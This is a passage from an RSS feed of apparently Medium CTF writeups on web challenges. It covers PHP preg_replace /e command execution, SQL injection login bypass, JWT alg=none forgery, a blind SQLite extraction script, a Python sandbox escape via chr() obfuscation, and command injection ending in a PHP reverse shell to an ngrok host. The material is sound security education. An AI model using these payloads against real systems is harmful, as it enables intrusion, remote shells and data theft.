/></figure><p><strong>Authors Codiac and Quiiper have a very good </strong><a href="https://light-seer-f47.notion.site/Web-Tasks-Writeup-5284febc278748ad928cc7a77029733b"><strong>writeup</strong></a><strong> too</strong></p><p><strong>pu71n has a cool unintended solution without pin generation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b1w3w2hXDpHL3CIaH2qtbA.png" /></figure><h3>Sparksite — 2 solves</h3><p>I did not solve Sparksite, but I believe that if I had more time I would :)<br>but it is not that easy after all. It is a vulnerability in preg_replace() in PHP.<br>Payload of author d3dn0v4</p><pre>https://sparksite.events-spark.tech/index.php?current_string=^(.*)/e&amp;new_string=strtoupper(\1)&amp;given_text=%60cat%20flag.php%60&amp;suffix=<br><br>params:<br>current_string=^(.*)/e<br>new_string=strtoupper(\1)<br>given_text=%60cat%20flag.php%60<br>suffix=</pre><p>here is 0xNDLx0 payload</p><pre>https://sparksite.events-spark.tech/?current_string=/e&amp;new_string=system(%27ls%27)&amp;given_text=test&amp;suffix=<br><br>params:<br>current_string=/e<br>new_string=system(%27ls%27)<br>given_text=test<br>suffix=</pre><p>Read about the vulnerability <a href="https://captainnoob.medium.com/command-execution-preg-replace-php-function-exploit-62d6f746bda4"><strong>here</strong></a></p><h3><strong>Thanks for reading ❤</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc78d9400a8a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Valentine CTF Web Writeups]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/valentine-ctf-web-writeups-176677072af8?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/176677072af8</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Fri, 16 Feb 2024 16:59:45 GMT</pubDate>
            <atom:updated>2024-02-16T17:33:45.306Z</atom:updated>
            <content:encoded><![CDATA[<ol><li>S<a href="#76d4">ingle login</a></li><li>H<a href="#4660">it the gym bro</a></li><li><a href="#70e0">7billions and you have 0 chance</a></li><li>E<a href="#ffbc">scape the system</a></li></ol><h3><strong>Single Login — 90+ solves</strong></h3><h4><strong>First Look</strong></h4><p>Description: I made a website for sad singles.<br>Could you find a way in?</p><p>We are given the URL of the web challenge and the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/305/1*02XPr-bkH1QTGnqcHRpWxw.png" /></figure><h4>Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EmIAKqgObZlQVlnnJpe2cw.png" /><figcaption>source code</figcaption></figure><p>This is an easy SQL injection challenge. The username and password are passed directly to the query without sanitization or any validation.<br>we know that the username should be ‘sadsingle’ but we don’t know the password so we can inject a boolean operation in the password field and then it will always give true whatever the password is.</p><pre>payload: &#39; or &#39;1&#39;=&#39;1</pre><pre>query: &quot;Select * FROM lovers WHERE uname=&#39;sadsingle&#39; AND pword=&#39;&#39; or &#39;1&#39;=&#39;1&#39; ;&quot;</pre><p><strong>Flag:</strong> SecuriNets{b31ng_51ngl3_15_c00l}</p><h3><strong>Hit the gym bro — 10+ solves</strong></h3><h4>First Look</h4><p>Description: <br>If you don&#39;t love yourself how do you expect s.o else to love you? Hone your body to its utter limits, EVOLVE ! No public files :D</p><p>We are given the URL of the web challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NS4t5Ty70Tv3WqqL7UZ1vQ.png" /></figure><p>If we try to log in with admin:admin (or test:test) it will give us “Unauthorized! Invalid Token” and mostly if we try something else it will give us “Invalid Credentials”.<br>(ignore the signup it just redirects you to the login)</p><h4>Analysis</h4><p>If we open the dev tools we can see the token so let&#39;s decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33yp-ZMcjY4HVa45VB0b0Q.png" /><figcaption>decoded token (jwt.io)</figcaption></figure><p>now obviously we have to change the role to admin but the signature is not valid. We have two easy approaches: crack it or change the encryption algorithm to none. I tried the first with jwt_tool and did not work.<br>So, let&#39;s change the algorithm to none</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*528ZK_gqf6inWyilHIdz4g.png" /></figure><p>note: we can use jwt_tool to do that.<br>After concatenation (do not forget the last dot)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jhwTC_6DOW0X9VUn-qmySQ.png" /></figure><p>Now, login with admin:admin, intercept with burp suite, change the token in auth/login, then change the endpoint in the GET request from app/user to app/admin, and do not forget the token too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xzzJNdFlOQDf9j4oIX_amw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MydVBCpoaxs-RW5zH3j8Nw.png" /></figure><p><strong>Flag:</strong> securintes{35c4p3_d1llu510n5_637_600d}</p><h3><strong>7Billions and you have 0 chance </strong>— 5+ solves</h3><h4>First Look</h4><p>Description:<br>-There are 7 billions and I have no chance<br>-Well how about you become 7 billions worth yourself $$$$ 🤑<br>No public files<br>We are given the URL of the web challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*frisDEtjz-F4YdlOqFowKQ.png" /></figure><p>It looks like a simple login so we are mostly dealing with an SQL injection. I stared for too long at this page then I said why not enumerate the URL maybe we get more than one endpoint I tried robots.txt (or use dirb or gobuster) and it shows us another endpoint called /source and now we have the source code.</p><pre>from flask import request, send_from_directory, render_template, send_file, Flask<br>import sqlite3<br><br>app = Flask(__name__)<br><br>app.static_folder=&quot;public&quot;<br><br><br>def getUser(username, pwd):<br>    connection_obj = sqlite3.connect(&quot;database.db&quot;)<br>    cursor_obj = connection_obj.cursor()<br>    cursor_obj.execute(<br>        f&quot;SELECT * FROM users WHERE username = &#39;{username}&#39; AND password = &#39;{pwd}&#39;&quot;<br>    )<br><br>    result = cursor_obj.fetchone()<br>    print(result)<br>    if result:<br>        return True<br>    else:<br>        return False<br><br><br>@app.route(&quot;/&quot;, methods=[&quot;GET&quot;])<br>def home():<br>    return render_template(&quot;index.html&quot;)<br><br><br>@app.route(&quot;/robots.txt&quot;, methods=[&quot;GET&quot;])<br>def static_from_root():<br>    return send_from_directory(app.static_folder, request.path[1:])<br><br><br>@app.route(&quot;/source&quot;, methods=[&quot;GET&quot;])<br>def get_source():<br>    return send_file(__file__)<br><br><br>@app.route(&quot;/admin&quot;, methods=[&quot;POST&quot;])<br>def admin():<br>    username = request.form.get(&quot;username&quot;)<br>    password = request.form.get(&quot;password&quot;)<br><br>    if username and password and getUser(username, password):<br>        return render_template(&quot;auth.html&quot;)<br>    else:<br>        return render_template(&quot;404.html&quot;), 404<br><br><br>@app.errorhandler(404)<br>def page_not_found(e):<br>    return render_template(&quot;404.html&quot;), 404<br><br><br>app.run(host=&quot;0.0.0.0&quot;, port=8000)</pre><h4>Analysis</h4><p>So, the code is vulnerable to injections but if we try something like</p><pre>username: &#39; or 1;--<br>password: anything</pre><p>it shows us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9tr9RtTPChYiqaC3JzGVAw.png" /></figure><p>I thought that was it :) but the author said not yet lovely kid. OK, at least we know our query passed successfully and we got a 200 response so it is mostly a <a href="https://portswigger.net/web-security/sql-injection/blind">blind SQL injection</a>. Now we have a checklist:</p><ol><li>get the table name (the table of the flag, not the users)</li><li>get the column name (the column where the flag is, in the table of the flag)</li><li>get the content of that column (the flag)</li></ol><p>All steps are ‘blind’ so we’re not gonna see any output we’re gonna judge the query result from the status code and the 404 not found page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nAaj0j0z2uqISx4ADtOsA.png" /></figure><p>We know from the code that SQLite is the database used so if we go to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#boolean---extract-info">PayloadAllTheThings SQLite injection</a>, we get the payload to enumerate the tables in the database and we’re gonna use the boolean because it is either query accepted (true) or not (false).</p><p>To do that we need a script (or burp suite intruder).</p><pre>import requests<br>import string<br><br>url = &quot;http://51.12.211.165:8200/admin&quot;<br>s = &quot; &quot;<br>i=1<br>chars = string.ascii_lowercase+string.digits+&quot;_}{&quot;<br>with requests.Session() as session:<br>    while (s[-1]!=&#39;}&#39;):<br>        for c in chars:<br>            data = {<br>                &quot;username&quot;: f&quot;&#39;or 1=1 and (SELECT hex(substr(flag,{i},1)) FROM flag limit 1 offset 0)  = hex(&#39;{c}&#39;);--&quot;,<br>                &quot;password&quot;: &quot;admin&quot;<br>            }<br><br>            response = session.post(url, data=data)<br>            if &quot;Oops&quot; not in response.text and response.status_code != 500:<br>                print(c)<br>                s += c<br>                break<br>        i+=1<br><br>print(s)<br><br># payload for tables: &#39;or 1=1 and (SELECT hex(substr(tbl_name,{i},1)) FROM sqlite_master WHERE type=&#39;table&#39; and tbl_name!=&#39;users&#39; and tbl_name NOT like &#39;sqlite_%&#39; limit 1 offset 0) = hex(&#39;{c}&#39;);--<br># payload for columns: &#39;or 1=1 and (SELECT hex(substr(name,{i},1)) FROM pragma_table_info(&#39;flag&#39;) where name!=&#39;id&#39; limit 1 offset 0) = hex(&#39;{c}&#39;);--<br># payload for content: &#39;or 1=1 and (SELECT hex(substr(flag,{i},1)) FROM flag limit 1 offset 0)  = hex(&#39;{c}&#39;);--</pre><p>I think the concept is clear now, we test the first letter of the table name and see if it matches a character, if we get a 200 status code then it is the right character, and we print it. I added this <strong>tbl_name!=’users’</strong> to the payload because it will give you the table users but we don’t need it, we wanna see other tables. We get a table ‘flag’. With column, we do the same thing but I got a column ‘id’ so I added this <strong>name!=’id’</strong> to see if there are other columns. We get the column ‘flag’ too :)<br>So, the table is ‘flag’ and the column is ‘flag’ now we extract the content of that column and that&#39;s it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90HH19b3BnpQ1XeLNk8aMg.png" /></figure><p><strong>Flag: </strong>securinets{luck_15_n00b5_b3l13f5}</p><h3><strong>Escape the system </strong>— 5 solves</h3><h4>First Look</h4><p>Description: Break the cycle, Escape the system, Pwn your way to the top.<br>We are given the URL of the web challenge and a source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5rqhyvNMsNPLHdJ_f35qqg.png" /></figure><p>This web jail challenge is straightforward, we have to bypass the filter.</p><pre>def filter(command):<br>    blacklist = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)<br>    blacklist.extend([&quot; &quot;, &quot;.&quot;, &quot;(&quot;, &quot;)&quot;, &quot;+&quot;])<br><br>    if re.search(<br>        &quot;(system)|(curl)|(flag)|(subprocess)|(popen)|(import)|(global)|(class)&quot;,<br>        command,<br>        re.I,<br>    ):<br>        return True<br>    for c in command:<br>        if c not in blacklist:<br>            return True</pre><h4>Analysis</h4><p>it is a <a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes">Python sandbox bypass</a>, we have to somehow obfuscate the payload so it bypasses the filter. We can call functions because () are allowed so what about chr?<br>eval(chr(97)) = a<br>What if we concatenate characters that give us the payload? Looks good<br>I wrote a small script to obfuscate a simple payload:<br>__import__(‘os’).popen(‘env’).read()</p><pre><br>def ascii_to_ord(string):<br>    return [&quot;chr({})+&quot;.format(ord(char)) for char in string]<br><br>payload = &quot;&quot;.join(ascii_to_ord(&quot;__import__(&#39;os&#39;).popen(&#39;env&#39;).read()&quot;))[:-1]<br><br>print(&quot;eval(&quot; + payload + &quot;)&quot;) # payload<br>print(&quot;------------------------------&quot;)<br>print(eval(payload)) # the executable command</pre><p>the eval we added will give us back the right payload and the system eval will execute it. Now we have a shell, I searched a lot but found nothing, I used ‘find’ in the root also nothing so maybe the FLAG is an environment variable ( etc/environment is empty too :) )<br>So, as you see in the payload I run ‘env’ (or set) et voila</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xIZLmS3FJj3FC1D0QOGzBg.png" /></figure><p><strong>Flag: </strong>securinets{pwn_7h3_w0rld}</p><h3>Thanks for reading ❤</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=176677072af8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quals-isi/web/Lyricsa]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/quals-isi-web-lyricsa-6889ff94f0a1?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/6889ff94f0a1</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Mon, 05 Feb 2024 13:23:06 GMT</pubDate>
            <atom:updated>2024-02-05T16:32:10.347Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>First Look</strong></h3><p><strong>Description:</strong> I’ve created a site to display song lyrics. Currently, it only has a few songs that I like. I’ve added a search feature, and because I’ve often read about how databases can suck, I opted for a different solution, one that is really fast and cool ;)</p><p>We are given the URL of the web challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*41c5ckNQo8vZ8zVQgdPT3g.png" /></figure><h3><strong>The Goal</strong></h3><p>The description says “Databases can suck” so we can think of it as an SQL injection or configure out what other solution can be.</p><p>I tried a lot of SQL and NoSQL injections and none of them seems to work, it is not reacting at all so a Linux server is a very considerable option so I tried ;ls and I got nothing back. So to test if we have an RCE on a remote server we could use something “blind” like ‘sleep 5’ to pause the request for 5 seconds it is a good option to try because if it works it will work in any situation.</p><pre>payload: ;sleep 5</pre><p>It worked so now we know that we have control over a remote server and of course first thing you think of is a reverse shell :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*00zyMuUKytolB3lhSfRFQQ.png" /></figure><p>So, the first thing is to make our linux server public and forward requests (port-forwarding) with ngrok:</p><ol><li>open a port:</li></ol><pre>ngrok tcp 9000</pre><p>2. a listener on that port (TCP socket): (this is where the reverse shell will be)</p><pre>nc -lvnp 9000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vI8vmXFMHjTnVXjSQKgU4g.png" /></figure><h3><strong>Exploiting it</strong></h3><p>now we should head to <a href="https://www.revshells.com/">https://www.revshells.com/</a> to get a reverse shell payload. That is a very time-consuming task but we can anticipate that it is a PHP socket from wappalyzer or because osama loves PHP :)</p><p>Final payload:</p><pre>;php -r ‘$sock=fsockopen(“2.tcp.eu.ngrok.io”,15111);exec(“sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3”);’</pre><p>Then, We get a shell on the listener and cat the flag: cat ../../../flag.txt</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6889ff94f0a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>